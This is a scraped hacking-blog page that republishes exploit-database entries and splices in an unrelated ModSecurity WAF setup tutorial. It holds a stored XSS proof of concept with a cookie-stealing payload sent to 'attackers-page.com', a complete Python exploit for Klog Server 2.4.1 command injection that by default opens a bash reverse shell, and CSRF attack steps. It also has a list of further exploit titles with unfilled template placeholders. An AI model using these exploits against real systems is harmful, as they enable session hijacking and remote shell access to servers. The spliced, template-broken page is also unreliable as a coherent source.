# Exploit Title: EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting
# Date: 30-12-2020
# Exploit Author: Mesut Cetin
# Vendor Homepage: http://egavilanmedia.com
# Version: 1.0
# Tested on Windows 10, Firefox 83.0, Burp Suite Professional v1.7.34
Vulnerable parameter: email, gender, username
Payload: <script>alert(document.cookie)</script>
Proof of Concept:
To bypass client-side filter, we will use Burp Suite. Reproduce the vulnerability by following the steps:
1. Login with default credentials "admin:password" at the demo page at: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/profile.php
2. Click above right on the "Profile" tab
3. Navigate to the "Edit Profile" tab
4. In Firefox, use Foxyproxy and click on "Intercept" within Burp Suite. Press on "Update password" button at demo page.
5. Capture the POST request in Burp Suite and manipulate the parameter as shown:
POST /User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile_action.php HTTP/1.1
Host: demo.egavilanmedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 180
Origin: http://demo.egavilanmedia.com
Connection: close
Referer: http://demo.egavilanmedia.com/User%20Registration%20and%20Login%20System%20With%20Admin%20Panel/admin/profile.php
Cookie: PHPSESSID=944b2es2eb67f971af305b2105e35c3e
fullname=admin&username=<script>alert(document.cookie)</script>&email=<script>alert('PoC 2')</script>&gender==<script>alert('PoC 3')</script>&action=update_admin
6. Forward the request and refresh the page. You'll receive three different XSS pop-ups. One of them contains the PHPSESSID cookie. By using payloads like <BODY ONLOAD=fetch(`http://attackers-page.com/${document.cookie}`)>, the session cookies can be send to the attacker.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863153544
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)
# Date: 22.12.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.klogserver.com/
# Version: 2.4.1
# Tested On: Ubuntu 18.04
# CVE: 2020-35729
# Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER
"""
~ VULNERABILITY DETAILS ~
#
The Klog Server runs the injected os commands on the server , causing os command
injection vulnerability.
#
The following python code will inject os command payload and can be relaized reverse
shell connection.And you can be added payload except the default payload plugin.
##USAGE##
$sudo nc -nlvp 98
$sudo python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\""
##OUTPUT##
bash-4.2$whoami
apache
bash-4.2$
"""
import requests
import argparse
from colorama import Fore, Back, Style, init
def main():
desc = "KLOG SERVER 2.4.1 EXPLOIT"
parser = argparse.ArgumentParser(description=desc)
option = parser.add_argument_group('[*]OPTIONS[*]')
parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False)
parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD [*]", type=str,required=False)
parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true")
args = parser.parse_args()
if args.exploit:
if args.url:
url = args.url
if args.payload:
payload = args.payload
target_send_config(url, payload)
#default bash reverse shell payload
else:
payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
target_send_config(url, payload)
else:
#default url (klog server init ip address)
url = "https://10.10.56.51:443/actions/authenticate.php"
if args.payload:
payload = args.payload
target_send_config(url, payload)
else:
payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
target_send_config(url, payload)
def target_send_config(url, payload):
headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"}
#injection place
data = {"user": payload,
"pswd": "test"}
try:
#post method send
requests.post(url, headers=headers, data=data, verify=False)
print(" ")
print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]")
except:
print(Fore.RED+"[-] EXPLOIT FAILED [-]")
if __name__ == '__main__':
main()
In a previous article, we talked about how to trace the attacker. But this still cannot avoid attacks. How to solve it? At this time, WAF (web firewall) is needed to protect our website. But the waf of Alibaba Cloud and Tencent Cloud is really expensive, and it can be tens of thousands of times at any time. How to solve it?
Environment
Apache2.4 pagoda 7.9.4 pagoda Although there are firewalls for apache and nginx. But they are all charged. (In fact, it was modified based on open source waf, so the charge is too disgusting.)
http://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/image_20221123140548.png
Mainly, common penetration attacks such as square sql injection, xss, and one-sentence. It costs more than 400 a year, why don’t you grab it?
Introduction to ModSecurity
ModSecurity is an open source, cross-platform Web application firewall (WAF), known as the "Swiss Army Knife" in the WAF industry. It can protect the website by checking the data received by the web service and the data sent out. Function SQLi: Block SQL injection XSS: Block cross-site scripting attack LFI: Block attack exploit local file inclusion vulnerability RFI: Block attack exploit remote file inclusion vulnerability RCE: Block attack exploit remote command execution vulnerability PHP Code: Block attack PHP code injection HTTP Violations: Block malicious access to HTTP violations HTTP protocol: Block attack HTTPoxy: Block attack exploit remote proxy infection vulnerability Sshllshock: Block attack exploit Shellshock vulnerability Session Fixation: Block attack exploit vulnerability Scanner Detection: Block attack exploit vulnerability Metadata/Error Leakages: Block source code/error information leakage Project Honey Pot Blacklist: Honeypot project blacklist GeoIP Country Blocking: IP blocking is performed based on the judgment of IP address home
Installation
Installation dependency yum install -y yajl-devel ssdeep-devel installation cd /usr/local
wget https://github.com/SpiderLabs/ModSecurity/releases/download/v2.9.5/modsecurity-2.9.5.tar.gz
tar -zxvf modsecurity-2.9.5.tar.gz
cd modsecurity-2.9.5
./configure --with-apxs=/www/server/apache/bin/apxs --with-apr=/www/server/apache/bin/apr-1-config --with-apu=/www/server/apache/bin/apu-1-config
Make
make install
Note that if your environment is not a pagoda, you can also install it according to the above command. The locations that need to be modified are the locations of the three files apxs arp-1-confg`apu-l-config. The default location under the pagoda is: /www/server/apache/bin/You can use the find` command to search.
Configuration Rule File
cd /usr/local
git clone https://github.com/corerulelset/corerulelset.git
#If the local website cannot connect to the official git website, you can try the other two download addresses below
#git clone https://hub.fastgit.org/corerulelset/corerulelset.git
#git clone https://hub.0z.gs/corerulelset/corerulelset.git
mkdir /www/server/apache/conf/modsecurity/
#Copy ModSecurity related configuration files
cp /usr/local/modsecurity-2.9.5/modsecurity.conf-recommended /www/server/apache/conf/modsecurity/modsecurity.conf
cp /usr/local/modsecurity-2.9.5/unicode.mapping /www/server/apache/conf/modsecurity/unicode.mapping
#Copy OWASP related rules files
cp /usr/local/coreruleaset/crs-setup.conf.example /www/server/apache/conf/modsecurity/crs-setup.conf
cp -r /usr/local/coreruleaset/rules//www/server/apache/conf/modsecurity/
#Enable whitelists and rules to disable files
mv /www/server/apache/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example /www/server/apache/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example /www/server/apache/conf/modsecurity/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
mv /www/server/apache/conf/modsecurity/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example /www/server/apache/conf/modsecurity/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
Open waf
Edit httpd.conf, remove the comment # before #LoadModule unique_id_module modules/mod_unique_id.so, and add the following content
LoadModule security2_module modules/mod_security2.so
IfModule security2_module
Include conf/modsecurity/modsecurity.conf
Include conf/modsecurity/crs-setup.conf
Include conf/modsecurity/rules/*.conf
/IfModule edit/www/server/apache/conf/modsecurity/modsecurity.conf, change SecRuleEngine DetectionOnly to SecRuleEngine On and then check whether it is needed for other configurations and close it according to actual needs. (In fact, it is enough to use our configuration rules file. When I installed it, I found that a blank page was displayed when the mobile phone was opened, and the page needed to be refreshed manually before the page could appear. CND problems may occur!)
Test
Restart the apache service
service restart httpd test http://bbskali.cn/?id=%22%3E%3Cscript%3Ealert(1);%3C/script%3E
Customize Page
The default 403 page is detrimental to our style, so write a page yourself. (Although lacking design beauty!)
!DOCTYPE html PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'
html
head
meta http-equiv='Content-Type' content='text/html; charset=UTF-8'
title system firewall/title
script type='text/javascript'
function getInterceptUrl(){
var url=getQueryString('url');
var domain=getQueryString('intercept_domain');
var tmpstr='The intercepted URL is:';
var div=document.getElementById('interceptdiv');
if(domain !=''){
tmpstr +=domain;
}
if(url !='' url !='/'){
tmpstr +=url;
}
if(domain !='' || url !=''){
var textnode=document.createTextNode(tmpstr);
div.appendChild(textnode);
}
}
function getQueryString(name) {
var result=window.location.search.match(new RegExp('[\?\]' + name + '=([^\]+)', 'i'));
if (result==null || result.length 1) {
return '';
}
return result[1];
}
/script
style type='text/css'
!--
body{margin:0;font-size:7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#fff;}
fieldset{padding:0 15px 10px 15px;border-color: #fff;border: 0px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:2.4em;margin:0;color:#CC0000;text-align: center;}
h3{font-size:1.7em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:'trebuchet MS', Verdana, sans-serif;color:#FFF;
background-color:#ffff;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:50%;margin:0 auto;position:0 relative;margin-top:100px}
a{text-decoration:none;color:#009cd6}
a:hover{text-decoration:underline;color:#ff0000}
--
/style
/head
body onload='getInterceptUrl();'
div id='content'
div class='content-container'fieldset
brbrbrbr
img src='Your image address'
h3 style='text-align: center;'The current operation may pose a threat to the security of the website and has been intercepted by the server firewall. /h3
br
div id='interceptdiv' style='color:#F00;text-align: center;font-size: 16px;'/div
/fieldset
/div
/body
/html
Modify the /www/server/apache/conf/modsecurity/crs-setup.conf file and add the following code
SecDefaultAction 'phase:1,log,auditlog,redirect:https://blog.bbskali.cn/waf.html?url=%{REQUEST_FILENAME}intercept_domain=%{request_headers.host}'
SecDefaultAction 'phase:2,log,auditlog,redirect:https://blog.bbskali.cn/waf.html?url=%{REQUEST_FILENAME}intercept_domain=%{request_headers.host}' Comment out the original #SecDefaultAction 'phase:1,log,auditlog,pass'.
Restart the apache service and view the results.
# Exploit Title: Advanced Webhost Billing System 3.7.0 - Cross-Site Request Forgery (CSRF)
# Date: 06/01/2021
# Exploit Author: Rahul Ramakant Singh
# Vendor Homepage: https://www.awbs.com/
# Version: 3.7.0
# Tested on Windows
Steps:
1. Login into the application with the help of email and password.
2. Navigate to my additional contact page and add one contact for the same
3. Now there is option for delete the contact from the list.
4. Now Logout from the application and same create a one CSRF POC having having action of delete contact and same blank the token value from CSRF POC.
5. Now again login into the application and Send a link of this crafted page(generated CSRF POC) to the victim.
6. When the victim user opens the link, a script present on the crafted page sends a request for delete of contact to the server with an active session ID of the victim and accept the blank token value from the request.
7. Contact successfully deleted.

IObit Uninstaller 10 Pro - Unquoted Service Path
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Expense Tracker 1.0 - 'Expense Name' Stored Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

CASAP Automated Enrollment System 1.0 - Authentication Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Atlassian Confluence Widget Connector Macro - SSTI
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

MyBB Timeline Plugin 1.0 - Persistent Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Klog Server 2.4.1 - Unauthenticated Command Injection (Metasploit)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

STVS ProVision 5.9.10 - File Disclosure (Authenticated)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Responsive E-Learning System 1.0 - Stored Cross Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

dirsearch 0.4.1 - CSV Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

IPeakCMS 3.5 - Boolean-based blind SQLi
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Collabtive 3.1 - 'address' Persistent Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

ERPNext 12.14.0 - SQL Injection (Authenticated)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

CASAP Automated Enrollment System 1.0 - 'route' Stored XSS
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Library System 1.0 - 'category' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Simple College Website 1.0 - 'full' Stored Cross Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Oracle WebLogic Server 12.2.1.0 - RCE (Unauthenticated)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view